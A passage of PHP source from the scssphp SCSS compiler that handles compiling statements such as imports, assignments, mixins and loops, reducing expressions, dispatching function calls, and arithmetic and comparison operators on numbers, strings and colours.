            $this->sourceIndex  = isset($child[Parser::SOURCE_INDEX]) ? $child[Parser::SOURCE_INDEX] : null;
            $this->sourceLine   = isset($child[Parser::SOURCE_LINE]) ? $child[Parser::SOURCE_LINE] : -1;
            $this->sourceColumn = isset($child[Parser::SOURCE_COLUMN]) ? $child[Parser::SOURCE_COLUMN] : -1;
        } elseif (\is_array($child) && isset($child[1]->sourceLine)) {
            $this->sourceIndex  = $child[1]->sourceIndex;
            $this->sourceLine   = $child[1]->sourceLine;
            $this->sourceColumn = $child[1]->sourceColumn;
        } elseif (! empty($out->sourceLine) && ! empty($out->sourceName)) {
            $this->sourceLine   = $out->sourceLine;
            $sourceIndex  = array_search($out->sourceName, $this->sourceNames);
            $this->sourceColumn = $out->sourceColumn;

            if ($sourceIndex === false) {
                $sourceIndex = null;
            }
            $this->sourceIndex = $sourceIndex;
        }

        switch ($child[0]) {
            case Type::T_SCSSPHP_IMPORT_ONCE:
                $rawPath = $this->reduce($child[1]);

                $this->compileImport($rawPath, $out, true);
                break;

            case Type::T_IMPORT:
                $rawPath = $this->reduce($child[1]);

                $this->compileImport($rawPath, $out);
                break;

            case Type::T_DIRECTIVE:
                $this->compileDirective($child[1], $out);
                break;

            case Type::T_AT_ROOT:
                $this->compileAtRoot($child[1]);
                break;

            case Type::T_MEDIA:
                $this->compileMedia($child[1]);
                break;

            case Type::T_BLOCK:
                $this->compileBlock($child[1]);
                break;

            case Type::T_CHARSET:
                if (! $this->charsetSeen) {
                    $this->charsetSeen = true;
                    $this->appendRootDirective('@charset ' . $this->compileValue($child[1]) . ';', $out);
                }
                break;

            case Type::T_CUSTOM_PROPERTY:
                list(, $name, $value) = $child;
                $compiledName = $this->compileValue($name);

                // if the value reduces to null from something else then
                // the property should be discarded
                if ($value[0] !== Type::T_NULL) {
                    $value = $this->reduce($value);

                    if ($value[0] === Type::T_NULL || $value === static::$nullString) {
                        break;
                    }
                }

                $compiledValue = $this->compileValue($value);

                $line = $this->formatter->customProperty(
                    $compiledName,
                    $compiledValue
                );

                $this->appendOutputLine($out, Type::T_ASSIGN, $line);
                break;

            case Type::T_ASSIGN:
                list(, $name, $value) = $child;

                if ($name[0] === Type::T_VARIABLE) {
                    $flags     = isset($child[3]) ? $child[3] : [];
                    $isDefault = \in_array('!default', $flags);
                    $isGlobal  = \in_array('!global', $flags);

                    if ($isGlobal) {
                        $this->set($name[1], $this->reduce($value), false, $this->rootEnv, $value);
                        break;
                    }

                    $shouldSet = $isDefault &&
                        (\is_null($result = $this->get($name[1], false)) ||
                        $result === static::$null);

                    if (! $isDefault || $shouldSet) {
                        $this->set($name[1], $this->reduce($value), true, null, $value);
                    }
                    break;
                }

                $compiledName = $this->compileValue($name);

                // handle shorthand syntaxes : size / line-height...
                if (\in_array($compiledName, ['font', 'grid-row', 'grid-column', 'border-radius'])) {
                    if ($value[0] === Type::T_VARIABLE) {
                        // if the font value comes from variable, the content is already reduced
                        // (i.e., formulas were already calculated), so we need the original unreduced value
                        $value = $this->get($value[1], true, null, true);
                    }

                    $shorthandValue=&$value;

                    $shorthandDividerNeedsUnit = false;
                    $maxListElements           = null;
                    $maxShorthandDividers      = 1;

                    switch ($compiledName) {
                        case 'border-radius':
                            $maxListElements = 4;
                            $shorthandDividerNeedsUnit = true;
                            break;
                    }

                    if ($compiledName === 'font' && $value[0] === Type::T_LIST && $value[1] === ',') {
                        // this is the case if more than one font is given: example: "font: 400 1em/1.3 arial,helvetica"
                        // we need to handle the first list element
                        $shorthandValue=&$value[2][0];
                    }

                    if ($shorthandValue[0] === Type::T_EXPRESSION && $shorthandValue[1] === '/') {
                        $revert = true;

                        if ($shorthandDividerNeedsUnit) {
                            $divider = $shorthandValue[3];

                            if (\is_array($divider)) {
                                $divider = $this->reduce($divider, true);
                            }

                            if ($divider instanceof Number && \intval($divider->getDimension()) && $divider->unitless()) {
                                $revert = false;
                            }
                        }

                        if ($revert) {
                            $shorthandValue = $this->expToString($shorthandValue);
                        }
                    } elseif ($shorthandValue[0] === Type::T_LIST) {
                        foreach ($shorthandValue[2] as &$item) {
                            if ($item[0] === Type::T_EXPRESSION && $item[1] === '/') {
                                if ($maxShorthandDividers > 0) {
                                    $revert = true;

                                    // if the list of values is too long, this has to be a shorthand,
                                    // otherwise it could be a real division
                                    if (\is_null($maxListElements) || \count($shorthandValue[2]) <= $maxListElements) {
                                        if ($shorthandDividerNeedsUnit) {
                                            $divider = $item[3];

                                            if (\is_array($divider)) {
                                                $divider = $this->reduce($divider, true);
                                            }

                                            if ($divider instanceof Number && \intval($divider->getDimension()) && $divider->unitless()) {
                                                $revert = false;
                                            }
                                        }
                                    }

                                    if ($revert) {
                                        $item = $this->expToString($item);
                                        $maxShorthandDividers--;
                                    }
                                }
                            }
                        }
                    }
                }

                // if the value reduces to null from something else then
                // the property should be discarded
                if ($value[0] !== Type::T_NULL) {
                    $value = $this->reduce($value);

                    if ($value[0] === Type::T_NULL || $value === static::$nullString) {
                        break;
                    }
                }

                $compiledValue = $this->compileValue($value);

                // ignore empty value
                if (\strlen($compiledValue)) {
                    $line = $this->formatter->property(
                        $compiledName,
                        $compiledValue
                    );
                    $this->appendOutputLine($out, Type::T_ASSIGN, $line);
                }
                break;

            case Type::T_COMMENT:
                if ($out->type === Type::T_ROOT) {
                    $this->compileComment($child);
                    break;
                }

                $line = $this->compileCommentValue($child, true);
                $this->appendOutputLine($out, Type::T_COMMENT, $line);
                break;

            case Type::T_MIXIN:
            case Type::T_FUNCTION:
                list(, $block) = $child;
                // the block need to be able to go up to it's parent env to resolve vars
                $block->parentEnv = $this->getStoreEnv();
                $this->set(static::$namespaces[$block->type] . $block->name, $block, true);
                break;

            case Type::T_EXTEND:
                foreach ($child[1] as $sel) {
                    $replacedSel = $this->replaceSelfSelector($sel);

                    if ($replacedSel !== $sel) {
                        throw $this->error('Parent selectors aren\'t allowed here.');
                    }

                    $results = $this->evalSelectors([$sel]);

                    foreach ($results as $result) {
                        if (\count($result) !== 1) {
                            throw $this->error('complex selectors may not be extended.');
                        }

                        // only use the first one
                        $result = $result[0];
                        $selectors = $out->selectors;

                        if (! $selectors && isset($child['selfParent'])) {
                            $selectors = $this->multiplySelectors($this->env, $child['selfParent']);
                        }

                        if (\count($result) > 1) {
                            $replacement = implode(', ', $result);
                            $fname = $this->getPrettyPath($this->sourceNames[$this->sourceIndex]);
                            $line = $this->sourceLine;

                            $message = <<<EOL
on line $line of $fname:
Compound selectors may no longer be extended.
Consider `@extend $replacement` instead.
See http://bit.ly/ExtendCompound for details.
EOL;

                            $this->logger->warn($message);
                        }

                        $this->pushExtends($result, $selectors, $child);
                    }
                }
                break;

            case Type::T_IF:
                list(, $if) = $child;

                if ($this->isTruthy($this->reduce($if->cond, true))) {
                    return $this->compileChildren($if->children, $out);
                }

                foreach ($if->cases as $case) {
                    if (
                        $case->type === Type::T_ELSE ||
                        $case->type === Type::T_ELSEIF && $this->isTruthy($this->reduce($case->cond))
                    ) {
                        return $this->compileChildren($case->children, $out);
                    }
                }
                break;

            case Type::T_EACH:
                list(, $each) = $child;

                $list = $this->coerceList($this->reduce($each->list), ',', true);

                $this->pushEnv();

                foreach ($list[2] as $item) {
                    if (\count($each->vars) === 1) {
                        $this->set($each->vars[0], $item, true);
                    } else {
                        list(,, $values) = $this->coerceList($item);

                        foreach ($each->vars as $i => $var) {
                            $this->set($var, isset($values[$i]) ? $values[$i] : static::$null, true);
                        }
                    }

                    $ret = $this->compileChildren($each->children, $out);

                    if ($ret) {
                        $store = $this->env->store;
                        $this->popEnv();
                        $this->backPropagateEnv($store, $each->vars);

                        return $ret;
                    }
                }
                $store = $this->env->store;
                $this->popEnv();
                $this->backPropagateEnv($store, $each->vars);

                break;

            case Type::T_WHILE:
                list(, $while) = $child;

                while ($this->isTruthy($this->reduce($while->cond, true))) {
                    $ret = $this->compileChildren($while->children, $out);

                    if ($ret) {
                        return $ret;
                    }
                }
                break;

            case Type::T_FOR:
                list(, $for) = $child;

                $startNumber = $this->assertNumber($this->reduce($for->start, true));
                $endNumber = $this->assertNumber($this->reduce($for->end, true));

                $start = $this->assertInteger($startNumber);

                $numeratorUnits = $startNumber->getNumeratorUnits();
                $denominatorUnits = $startNumber->getDenominatorUnits();

                $end = $this->assertInteger($endNumber->coerce($numeratorUnits, $denominatorUnits));

                $d = $start < $end ? 1 : -1;

                $this->pushEnv();

                for (;;) {
                    if (
                        (! $for->until && $start - $d == $end) ||
                        ($for->until && $start == $end)
                    ) {
                        break;
                    }

                    $this->set($for->var, new Number($start, $numeratorUnits, $denominatorUnits));
                    $start += $d;

                    $ret = $this->compileChildren($for->children, $out);

                    if ($ret) {
                        $store = $this->env->store;
                        $this->popEnv();
                        $this->backPropagateEnv($store, [$for->var]);

                        return $ret;
                    }
                }

                $store = $this->env->store;
                $this->popEnv();
                $this->backPropagateEnv($store, [$for->var]);

                break;

            case Type::T_RETURN:
                return $this->reduce($child[1], true);

            case Type::T_NESTED_PROPERTY:
                $this->compileNestedPropertiesBlock($child[1], $out);
                break;

            case Type::T_INCLUDE:
                // including a mixin
                list(, $name, $argValues, $content, $argUsing) = $child;

                $mixin = $this->get(static::$namespaces['mixin'] . $name, false);

                if (! $mixin) {
                    throw $this->error("Undefined mixin $name");
                }

                $callingScope = $this->getStoreEnv();

                // push scope, apply args
                $this->pushEnv();
                $this->env->depth--;

                // Find the parent selectors in the env to be able to know what '&' refers to in the mixin
                // and assign this fake parent to childs
                $selfParent = null;

                if (isset($child['selfParent']) && isset($child['selfParent']->selectors)) {
                    $selfParent = $child['selfParent'];
                } else {
                    $parentSelectors = $this->multiplySelectors($this->env);

                    if ($parentSelectors) {
                        $parent = new Block();
                        $parent->selectors = $parentSelectors;

                        foreach ($mixin->children as $k => $child) {
                            if (isset($child[1]) && \is_object($child[1]) && $child[1] instanceof Block) {
                                $mixin->children[$k][1]->parent = $parent;
                            }
                        }
                    }
                }

                // clone the stored content to not have its scope spoiled by a further call to the same mixin
                // i.e., recursive @include of the same mixin
                if (isset($content)) {
                    $copyContent = clone $content;
                    $copyContent->scope = clone $callingScope;

                    $this->setRaw(static::$namespaces['special'] . 'content', $copyContent, $this->env);
                } else {
                    $this->setRaw(static::$namespaces['special'] . 'content', null, $this->env);
                }

                // save the "using" argument list for applying it to when "@content" is invoked
                if (isset($argUsing)) {
                    $this->setRaw(static::$namespaces['special'] . 'using', $argUsing, $this->env);
                } else {
                    $this->setRaw(static::$namespaces['special'] . 'using', null, $this->env);
                }

                if (isset($mixin->args)) {
                    $this->applyArguments($mixin->args, $argValues);
                }

                $this->env->marker = 'mixin';

                if (! empty($mixin->parentEnv)) {
                    $this->env->declarationScopeParent = $mixin->parentEnv;
                } else {
                    throw $this->error("@mixin $name() without parentEnv");
                }

                $this->compileChildrenNoReturn($mixin->children, $out, $selfParent, $this->env->marker . ' ' . $name);

                $this->popEnv();
                break;

            case Type::T_MIXIN_CONTENT:
                $env        = isset($this->storeEnv) ? $this->storeEnv : $this->env;
                $content    = $this->get(static::$namespaces['special'] . 'content', false, $env);
                $argUsing   = $this->get(static::$namespaces['special'] . 'using', false, $env);
                $argContent = $child[1];

                if (! $content) {
                    break;
                }

                $storeEnv = $this->storeEnv;
                $varsUsing = [];

                if (isset($argUsing) && isset($argContent)) {
                    // Get the arguments provided for the content with the names provided in the "using" argument list
                    $this->storeEnv = null;
                    $varsUsing = $this->applyArguments($argUsing, $argContent, false);
                }

                // restore the scope from the @content
                $this->storeEnv = $content->scope;

                // append the vars from using if any
                foreach ($varsUsing as $name => $val) {
                    $this->set($name, $val, true, $this->storeEnv);
                }

                $this->compileChildrenNoReturn($content->children, $out);

                $this->storeEnv = $storeEnv;
                break;

            case Type::T_DEBUG:
                list(, $value) = $child;

                $fname = $this->getPrettyPath($this->sourceNames[$this->sourceIndex]);
                $line  = $this->sourceLine;
                $value = $this->compileDebugValue($value);

                $this->logger->debug("$fname:$line DEBUG: $value");
                break;

            case Type::T_WARN:
                list(, $value) = $child;

                $fname = $this->getPrettyPath($this->sourceNames[$this->sourceIndex]);
                $line  = $this->sourceLine;
                $value = $this->compileDebugValue($value);

                $this->logger->warn("$value\n         on line $line of $fname");
                break;

            case Type::T_ERROR:
                list(, $value) = $child;

                $fname = $this->getPrettyPath($this->sourceNames[$this->sourceIndex]);
                $line  = $this->sourceLine;
                $value = $this->compileValue($this->reduce($value, true));

                throw $this->error("File $fname on line $line ERROR: $value\n");

            default:
                throw $this->error("unknown child type: $child[0]");
        }
    }

    /**
     * Reduce expression to string
     *
     * @param array $exp
     * @param bool $keepParens
     *
     * @return array
     */
    protected function expToString($exp, $keepParens = false)
    {
        list(, $op, $left, $right, $inParens, $whiteLeft, $whiteRight) = $exp;

        $content = [];

        if ($keepParens && $inParens) {
            $content[] = '(';
        }

        $content[] = $this->reduce($left);

        if ($whiteLeft) {
            $content[] = ' ';
        }

        $content[] = $op;

        if ($whiteRight) {
            $content[] = ' ';
        }

        $content[] = $this->reduce($right);

        if ($keepParens && $inParens) {
            $content[] = ')';
        }

        return [Type::T_STRING, '', $content];
    }

    /**
     * Is truthy?
     *
     * @param array|Number $value
     *
     * @return boolean
     */
    public function isTruthy($value)
    {
        return $value !== static::$false && $value !== static::$null;
    }

    /**
     * Is the value a direct relationship combinator?
     *
     * @param string $value
     *
     * @return boolean
     */
    protected function isImmediateRelationshipCombinator($value)
    {
        return $value === '>' || $value === '+' || $value === '~';
    }

    /**
     * Should $value cause its operand to eval
     *
     * @param array $value
     *
     * @return boolean
     */
    protected function shouldEval($value)
    {
        switch ($value[0]) {
            case Type::T_EXPRESSION:
                if ($value[1] === '/') {
                    return $this->shouldEval($value[2]) || $this->shouldEval($value[3]);
                }

                // fall-thru
            case Type::T_VARIABLE:
            case Type::T_FUNCTION_CALL:
                return true;
        }

        return false;
    }

    /**
     * Reduce value
     *
     * @param array|Number $value
     * @param boolean $inExp
     *
     * @return array|Number
     */
    protected function reduce($value, $inExp = false)
    {
        if ($value instanceof Number) {
            return $value;
        }

        switch ($value[0]) {
            case Type::T_EXPRESSION:
                list(, $op, $left, $right, $inParens) = $value;

                $opName = isset(static::$operatorNames[$op]) ? static::$operatorNames[$op] : $op;
                $inExp = $inExp || $this->shouldEval($left) || $this->shouldEval($right);

                $left = $this->reduce($left, true);

                if ($op !== 'and' && $op !== 'or') {
                    $right = $this->reduce($right, true);
                }

                // special case: looks like css shorthand
                if (
                    $opName == 'div' && ! $inParens && ! $inExp &&
                    (($right[0] !== Type::T_NUMBER && isset($right[2]) && $right[2] != '') ||
                    ($right[0] === Type::T_NUMBER && ! $right->unitless()))
                ) {
                    return $this->expToString($value);
                }

                $left  = $this->coerceForExpression($left);
                $right = $this->coerceForExpression($right);
                $ltype = $left[0];
                $rtype = $right[0];

                $ucOpName = ucfirst($opName);
                $ucLType  = ucfirst($ltype);
                $ucRType  = ucfirst($rtype);

                // this tries:
                // 1. op[op name][left type][right type]
                // 2. op[left type][right type] (passing the op as first arg
                // 3. op[op name]
                $fn = "op${ucOpName}${ucLType}${ucRType}";

                if (
                    \is_callable([$this, $fn]) ||
                    (($fn = "op${ucLType}${ucRType}") &&
                        \is_callable([$this, $fn]) &&
                        $passOp = true) ||
                    (($fn = "op${ucOpName}") &&
                        \is_callable([$this, $fn]) &&
                        $genOp = true)
                ) {
                    $shouldEval = $inParens || $inExp;

                    if (isset($passOp)) {
                        $out = $this->$fn($op, $left, $right, $shouldEval);
                    } else {
                        $out = $this->$fn($left, $right, $shouldEval);
                    }

                    if (isset($out)) {
                        return $out;
                    }
                }

                return $this->expToString($value);

            case Type::T_UNARY:
                list(, $op, $exp, $inParens) = $value;

                $inExp = $inExp || $this->shouldEval($exp);
                $exp = $this->reduce($exp);

                if ($exp instanceof Number) {
                    switch ($op) {
                        case '+':
                            return $exp;

                        case '-':
                            return $exp->unaryMinus();
                    }
                }

                if ($op === 'not') {
                    if ($inExp || $inParens) {
                        if ($exp === static::$false || $exp === static::$null) {
                            return static::$true;
                        }

                        return static::$false;
                    }

                    $op = $op . ' ';
                }

                return [Type::T_STRING, '', [$op, $exp]];

            case Type::T_VARIABLE:
                return $this->reduce($this->get($value[1]));

            case Type::T_LIST:
                foreach ($value[2] as &$item) {
                    $item = $this->reduce($item);
                }
                unset($item);

                if (isset($value[3]) && \is_array($value[3])) {
                    foreach ($value[3] as &$item) {
                        $item = $this->reduce($item);
                    }
                    unset($item);
                }

                return $value;

            case Type::T_MAP:
                foreach ($value[1] as &$item) {
                    $item = $this->reduce($item);
                }

                foreach ($value[2] as &$item) {
                    $item = $this->reduce($item);
                }

                return $value;

            case Type::T_STRING:
                foreach ($value[2] as &$item) {
                    if (\is_array($item) || $item instanceof Number) {
                        $item = $this->reduce($item);
                    }
                }

                return $value;

            case Type::T_INTERPOLATE:
                $value[1] = $this->reduce($value[1]);

                if ($inExp) {
                    return [Type::T_KEYWORD, $this->compileValue($value, false)];
                }

                return $value;

            case Type::T_FUNCTION_CALL:
                return $this->fncall($value[1], $value[2]);

            case Type::T_SELF:
                $selfParent = ! empty($this->env->block->selfParent) ? $this->env->block->selfParent : null;
                $selfSelector = $this->multiplySelectors($this->env, $selfParent);
                $selfSelector = $this->collapseSelectorsAsList($selfSelector);

                return $selfSelector;

            default:
                return $value;
        }
    }

    /**
     * Function caller
     *
     * @param string|array $functionReference
     * @param array        $argValues
     *
     * @return array|Number
     */
    protected function fncall($functionReference, $argValues)
    {
        // a string means this is a static hard reference coming from the parsing
        if (is_string($functionReference)) {
            $name = $functionReference;

            $functionReference = $this->getFunctionReference($name);
            if ($functionReference === static::$null || $functionReference[0] !== Type::T_FUNCTION_REFERENCE) {
                $functionReference = [Type::T_FUNCTION, $name, [Type::T_LIST, ',', []]];
            }
        }

        // a function type means we just want a plain css function call
        if ($functionReference[0] === Type::T_FUNCTION) {
            // for CSS functions, simply flatten the arguments into a list
            $listArgs = [];

            foreach ((array) $argValues as $arg) {
                if (empty($arg[0]) || count($argValues) === 1) {
                    $listArgs[] = $this->reduce($this->stringifyFncallArgs($arg[1]));
                }
            }

            return [Type::T_FUNCTION, $functionReference[1], [Type::T_LIST, ',', $listArgs]];
        }

        if ($functionReference === static::$null || $functionReference[0] !== Type::T_FUNCTION_REFERENCE) {
            return static::$defaultValue;
        }


        switch ($functionReference[1]) {
            // SCSS @function
            case 'scss':
                return $this->callScssFunction($functionReference[3], $argValues);

            // native PHP functions
            case 'user':
            case 'native':
                list(,,$name, $fn, $prototype) = $functionReference;

                // special cases of css valid functions min/max
                $name = strtolower($name);
                if (\in_array($name, ['min', 'max']) && count($argValues) >= 1) {
                    $cssFunction = $this->cssValidArg(
                        [Type::T_FUNCTION_CALL, $name, $argValues],
                        ['min', 'max', 'calc', 'env', 'var']
                    );
                    if ($cssFunction !== false) {
                        return $cssFunction;
                    }
                }
                $returnValue = $this->callNativeFunction($name, $fn, $prototype, $argValues);

                if (! isset($returnValue)) {
                    return $this->fncall([Type::T_FUNCTION, $name, [Type::T_LIST, ',', []]], $argValues);
                }

                return $returnValue;

            default:
                return static::$defaultValue;
        }
    }

    /**
     * @param array|Number $arg
     * @param string[]     $allowed_function
     * @param bool         $inFunction
     *
     * @return array|Number|false
     */
    protected function cssValidArg($arg, $allowed_function = [], $inFunction = false)
    {
        if ($arg instanceof Number) {
            return $this->stringifyFncallArgs($arg);
        }

        switch ($arg[0]) {
            case Type::T_INTERPOLATE:
                return [Type::T_KEYWORD, $this->CompileValue($arg)];

            case Type::T_FUNCTION:
                if (! \in_array($arg[1], $allowed_function)) {
                    return false;
                }
                if ($arg[2][0] === Type::T_LIST) {
                    foreach ($arg[2][2] as $k => $subarg) {
                        $arg[2][2][$k] = $this->cssValidArg($subarg, $allowed_function, $arg[1]);
                        if ($arg[2][2][$k] === false) {
                            return false;
                        }
                    }
                }
                return $arg;

            case Type::T_FUNCTION_CALL:
                if (! \in_array($arg[1], $allowed_function)) {
                    return false;
                }
                $cssArgs = [];
                foreach ($arg[2] as $argValue) {
                    if ($argValue === static::$null) {
                        return false;
                    }
                    $cssArg = $this->cssValidArg($argValue[1], $allowed_function, $arg[1]);
                    if (empty($argValue[0]) && $cssArg !== false) {
                        $cssArgs[] = [$argValue[0], $cssArg];
                    } else {
                        return false;
                    }
                }

                return $this->fncall([Type::T_FUNCTION, $arg[1], [Type::T_LIST, ',', []]], $cssArgs);

            case Type::T_STRING:
            case Type::T_KEYWORD:
                if (!$inFunction or !\in_array($inFunction, ['calc', 'env', 'var'])) {
                    return false;
                }
                return $this->stringifyFncallArgs($arg);

            case Type::T_LIST:
                if (!$inFunction) {
                    return false;
                }
                if (empty($arg['enclosing']) and $arg[1] === '') {
                    foreach ($arg[2] as $k => $subarg) {
                        $arg[2][$k] = $this->cssValidArg($subarg, $allowed_function, $inFunction);
                        if ($arg[2][$k] === false) {
                            return false;
                        }
                    }
                    $arg[0] = Type::T_STRING;
                    return $arg;
                }
                return false;

            case Type::T_EXPRESSION:
                if (! \in_array($arg[1], ['+', '-', '/', '*'])) {
                    return false;
                }
                $arg[2] = $this->cssValidArg($arg[2], $allowed_function, $inFunction);
                $arg[3] = $this->cssValidArg($arg[3], $allowed_function, $inFunction);
                if ($arg[2] === false || $arg[3] === false) {
                    return false;
                }
                return $this->expToString($arg, true);

            case Type::T_VARIABLE:
            case Type::T_SELF:
            default:
                return false;
        }
    }


    /**
     * Reformat fncall arguments to proper css function output
     *
     * @param array|Number $arg
     *
     * @return array|Number
     */
    protected function stringifyFncallArgs($arg)
    {
        if ($arg instanceof Number) {
            return $arg;
        }

        switch ($arg[0]) {
            case Type::T_LIST:
                foreach ($arg[2] as $k => $v) {
                    $arg[2][$k] = $this->stringifyFncallArgs($v);
                }
                break;

            case Type::T_EXPRESSION:
                if ($arg[1] === '/') {
                    $arg[2] = $this->stringifyFncallArgs($arg[2]);
                    $arg[3] = $this->stringifyFncallArgs($arg[3]);
                    $arg[5] = $arg[6] = false; // no space around /
                    $arg = $this->expToString($arg);
                }
                break;

            case Type::T_FUNCTION_CALL:
                $name = strtolower($arg[1]);

                if (in_array($name, ['max', 'min', 'calc'])) {
                    $args = $arg[2];
                    $arg = $this->fncall([Type::T_FUNCTION, $name, [Type::T_LIST, ',', []]], $args);
                }
                break;
        }

        return $arg;
    }

    /**
     * Find a function reference
     * @param string $name
     * @param bool $safeCopy
     * @return array
     */
    protected function getFunctionReference($name, $safeCopy = false)
    {
        // SCSS @function
        if ($func = $this->get(static::$namespaces['function'] . $name, false)) {
            if ($safeCopy) {
                $func = clone $func;
            }

            return [Type::T_FUNCTION_REFERENCE, 'scss', $name, $func];
        }

        // native PHP functions

        // try to find a native lib function
        $normalizedName = $this->normalizeName($name);
        $libName = null;

        if (isset($this->userFunctions[$normalizedName])) {
            // see if we can find a user function
            list($f, $prototype) = $this->userFunctions[$normalizedName];

            return [Type::T_FUNCTION_REFERENCE, 'user', $name, $f, $prototype];
        }

        if (($f = $this->getBuiltinFunction($normalizedName)) && \is_callable($f)) {
            $libName   = $f[1];
            $prototype = isset(static::$$libName) ? static::$$libName : null;

            if (\get_class($this) !== __CLASS__ && !isset($this->warnedChildFunctions[$libName])) {
                $r = new \ReflectionMethod($this, $libName);
                $declaringClass = $r->getDeclaringClass()->name;

                $needsWarning = $this->warnedChildFunctions[$libName] = $declaringClass !== __CLASS__;

                if ($needsWarning) {
                    if (method_exists(__CLASS__, $libName)) {
                        @trigger_error(sprintf('Overriding the "%s" core function by extending the Compiler is deprecated and will be unsupported in 2.0. Remove the "%s::%s" method.', $normalizedName, $declaringClass, $libName), E_USER_DEPRECATED);
                    } else {
                        @trigger_error(sprintf('Registering custom functions by extending the Compiler and using the lib* discovery mechanism is deprecated and will be removed in 2.0. Replace the "%s::%s" method with registering the "%s" function through "Compiler::registerFunction".', $declaringClass, $libName, $normalizedName), E_USER_DEPRECATED);
                    }
                }
            }

            return [Type::T_FUNCTION_REFERENCE, 'native', $name, $f, $prototype];
        }

        return static::$null;
    }


    /**
     * Normalize name
     *
     * @param string $name
     *
     * @return string
     */
    protected function normalizeName($name)
    {
        return str_replace('-', '_', $name);
    }

    /**
     * Normalize value
     *
     * @internal
     *
     * @param array|Number $value
     *
     * @return array|Number
     */
    public function normalizeValue($value)
    {
        $value = $this->coerceForExpression($this->reduce($value));

        if ($value instanceof Number) {
            return $value;
        }

        switch ($value[0]) {
            case Type::T_LIST:
                $value = $this->extractInterpolation($value);

                if ($value[0] !== Type::T_LIST) {
                    return [Type::T_KEYWORD, $this->compileValue($value)];
                }

                foreach ($value[2] as $key => $item) {
                    $value[2][$key] = $this->normalizeValue($item);
                }

                if (! empty($value['enclosing'])) {
                    unset($value['enclosing']);
                }

                return $value;

            case Type::T_STRING:
                return [$value[0], '"', [$this->compileStringContent($value)]];

            case Type::T_INTERPOLATE:
                return [Type::T_KEYWORD, $this->compileValue($value)];

            default:
                return $value;
        }
    }

    /**
     * Add numbers
     *
     * @param Number $left
     * @param Number $right
     *
     * @return Number
     */
    protected function opAddNumberNumber(Number $left, Number $right)
    {
        return $left->plus($right);
    }

    /**
     * Multiply numbers
     *
     * @param Number $left
     * @param Number $right
     *
     * @return Number
     */
    protected function opMulNumberNumber(Number $left, Number $right)
    {
        return $left->times($right);
    }

    /**
     * Subtract numbers
     *
     * @param Number $left
     * @param Number $right
     *
     * @return Number
     */
    protected function opSubNumberNumber(Number $left, Number $right)
    {
        return $left->minus($right);
    }

    /**
     * Divide numbers
     *
     * @param Number $left
     * @param Number $right
     *
     * @return Number
     */
    protected function opDivNumberNumber(Number $left, Number $right)
    {
        return $left->dividedBy($right);
    }

    /**
     * Mod numbers
     *
     * @param Number $left
     * @param Number $right
     *
     * @return Number
     */
    protected function opModNumberNumber(Number $left, Number $right)
    {
        return $left->modulo($right);
    }

    /**
     * Add strings
     *
     * @param array $left
     * @param array $right
     *
     * @return array|null
     */
    protected function opAdd($left, $right)
    {
        if ($strLeft = $this->coerceString($left)) {
            if ($right[0] === Type::T_STRING) {
                $right[1] = '';
            }

            $strLeft[2][] = $right;

            return $strLeft;
        }

        if ($strRight = $this->coerceString($right)) {
            if ($left[0] === Type::T_STRING) {
                $left[1] = '';
            }

            array_unshift($strRight[2], $left);

            return $strRight;
        }

        return null;
    }

    /**
     * Boolean and
     *
     * @param array|Number $left
     * @param array|Number  $right
     * @param boolean $shouldEval
     *
     * @return array|Number|null
     */
    protected function opAnd($left, $right, $shouldEval)
    {
        $truthy = ($left === static::$null || $right === static::$null) ||
                  ($left === static::$false || $left === static::$true) &&
                  ($right === static::$false || $right === static::$true);

        if (! $shouldEval) {
            if (! $truthy) {
                return null;
            }
        }

        if ($left !== static::$false && $left !== static::$null) {
            return $this->reduce($right, true);
        }

        return $left;
    }

    /**
     * Boolean or
     *
     * @param array|Number $left
     * @param array|Number $right
     * @param boolean $shouldEval
     *
     * @return array|Number|null
     */
    protected function opOr($left, $right, $shouldEval)
    {
        $truthy = ($left === static::$null || $right === static::$null) ||
                  ($left === static::$false || $left === static::$true) &&
                  ($right === static::$false || $right === static::$true);

        if (! $shouldEval) {
            if (! $truthy) {
                return null;
            }
        }

        if ($left !== static::$false && $left !== static::$null) {
            return $left;
        }

        return $this->reduce($right, true);
    }

    /**
     * Compare colors
     *
     * @param string $op
     * @param array  $left
     * @param array  $right
     *
     * @return array
     */
    protected function opColorColor($op, $left, $right)
    {
        if ($op !== '==' && $op !== '!=') {
            $warning = "Color arithmetic is deprecated and will be an error in future versions.\n"
                . "Consider using Sass's color functions instead.";
            $fname = $this->getPrettyPath($this->sourceNames[$this->sourceIndex]);
            $line  = $this->sourceLine;

            Warn::deprecation("$warning\n         on line $line of $fname");
        }

        $out = [Type::T_COLOR];

        foreach ([1, 2, 3] as $i) {
            $lval = isset($left[$i]) ? $left[$i] : 0;
            $rval = isset($right[$i]) ? $right[$i] : 0;

            switch ($op) {
                case '+':
                    $out[] = $lval + $rval;
                    break;

                case '-':
                    $out[] = $lval - $rval;
                    break;

                case '*':
                    $out[] = $lval * $rval;
                    break;

                case '%':
                    if ($rval == 0) {
                        throw $this->error("color: Can't take modulo by zero");
                    }

                    $out[] = $lval % $rval;
                    break;

                case '/':
                    if ($rval == 0) {
                        throw $this->error("color: Can't divide by zero");
                    }

                    $out[] = (int) ($lval / $rval);
                    break;

                case '==':
                    return $this->opEq($left, $right);

                case '!=':
                    return $this->opNeq($left, $right);

                default:
                    throw $this->error("color: unknown op $op");
            }
        }

        if (isset($left[4])) {
            $out[4] = $left[4];
        } elseif (isset($right[4])) {
            $out[4] = $right[4];
        }

        return $this->fixColor($out);
    }

    /**
     * Compare color and number
     *
     * @param string $op
     * @param array  $left
     * @param Number  $right
     *
     * @return array
     */
    protected function opColorNumber($op, $left, Number $right)
    {
        if ($op === '==') {
            return static::$false;
        }

        if ($op === '!=') {
            return static::$true;
        }

        $value = $right->getDimension();

        return $this->opColorColor(
            $op,
            $left,
            [Type::T_COLOR, $value, $value, $value]
        );
    }

    /**
     * Compare number and color
     *
     * @param string $op
     * @param Number  $left
     * @param array  $right
     *
     * @return array
     */
    protected function opNumberColor($op, Number $left, $right)
    {
        if ($op === '==') {
            return static::$false;
        }

        if ($op === '!=') {
            return static::$true;
        }

        $value = $left->getDimension();

        return $this->opColorColor(
            $op,
            [Type::T_COLOR, $value, $value, $value],
            $right
        );
    }

    /**
     * Compare number1 == number2
     *
     * @param array|Number $left
     * @param array|Number $right
     *
     * @return array
     */
    protected function opEq($left, $right)
    {
        if (($lStr = $this->coerceString($left)) && ($rStr = $this->coerceString($right))) {
            $lStr[1] = '';
            $rStr[1] = '';

            $left = $this->compileValue($lStr);
            $right = $this->compileValue($rStr);
        }

        return $this->toBool($left === $right);
    }

    /**
